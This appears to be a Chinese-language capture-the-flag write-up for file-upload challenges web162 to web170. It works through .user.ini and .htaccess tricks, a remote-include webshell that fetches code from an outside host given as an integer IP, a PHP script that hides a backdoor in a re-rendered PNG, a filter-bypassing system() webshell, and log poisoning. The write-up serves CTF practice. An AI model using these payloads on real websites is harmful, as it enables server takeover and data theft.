往事暗沉不可追,来日之路光明灿烂
web162(远程文件包含)
方法一:
先试一下web161的做法,发现点号 空格 括号 单引号 分号都被过滤了。
我们可以写一个不包含.的.user.ini文件
GIF89a
auto_prepend_file=png
然后在png文件内写一个远程包含木马文件,且木马文件没有.,又因为.被过滤了,url不能直接写成ip,要将ip转为长整型的地址。在线ip转int,ip转数字-BeJSON.com ,当然,写在远程地址的首页也可以。
GIF89a
<?=include`http://794750069`?>
然后用蚁剑连即可。
web163(.user.ini文件包含)
先按照上一题的思路试一下
上传成功。当我们去访问时发现没有找到png文件。
而我们访问.user.ini时有,这就说明我们的png文件被删除了。
这种情况,我们可以用条件竞争。
png删除规则:1.后门删除。
2.什么都删除。
条件竞争:上传成功,立马访问,创建新代码
在这里只删除了png,所以我们可以把代码放到.user.ini里。
发现可以,直接用蚁剑连即可。
web164(png二次渲染)
上传了一个000.png
上传成功。
发现文件的地址被改变了。
抓包这个地址。
发现这个png长度是74963,而原图片是74258
发现变大了。把图片下载下来,对比一下16进制,发现真的不一样。
这就叫图片的二次渲染。
二次渲染:在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
这就给了我们一种思路:我们把原来的图片和二次渲染后的图片进行对比,找到不改变的地方,把我们的后门代码植入到这个地方中,再进行上传。
参考文件上传之二次渲染绕过_二次渲染绕过怎么操作-CSDN博客贴脚本:
<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);} imagepng($img,'./1.png');?>
这脚本生成的后门是用get方式传递system post传递命令
运行脚本,生成了一个png,上传成功。
注意:这里图片的地址是用php代码包含的。所以才可以执行php代码。如果不是这样,而是直接用路径显示,我们就需要使用.user.ini文件。
web165(jpg二次渲染)
这题js要求上传jpg图片,随便上传一个jpg
也是包含地址。
文件二次渲染:1.判断上传前和上传后的文件大小及内容。
2.判断上传后的文件返回数据包
前后对比:
我们将下载下来的图片加入后门代码然后在上传
然后方法同上一题。
web166
发现是要上传zip文件
上传一个php后门的zip,上传成功。
发现他是包含格式的
蚁剑直接连即可
web167(.htaccess)
httpd
需要上传jpg格式的图片
htaccess默认不支持nginx,设置后支持
htaccess可以通过设置实现文件解析配置将png后缀的文件解析成php
AddType application/x-httpd-php png
将png后缀的文件解析成php
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess
虽然htaccess默认不支持,但是可以设为支持。
web168(木马变换)
发现eval,system,$_POST都被过滤了
可以用变量替换的形式来绕过:
<?php $a='syste'.'m';$a("cat ../f*");?>
访问即可
web169(.user.ini条件利用)
构造.user.ini的条件:1.当前目录要有一个只向index.php文件,这个文件的内容是随意的。
2.要求php版本为7版本
这种情况下就没有指向文件。所以我们要上传一个index.php文件。
上传后再访问
再上传.user.ini
上传1.png时发现过滤了 eval include <,所以我们直接用.user.ini包含日志文件
然后写入一句话木马。
用蚁剑连接即可。
web170(.user.ini条件利用)
按照上一题的方法还是没有index.php
写入index.php
写入.user.ini
写入后门木马
蚁剑连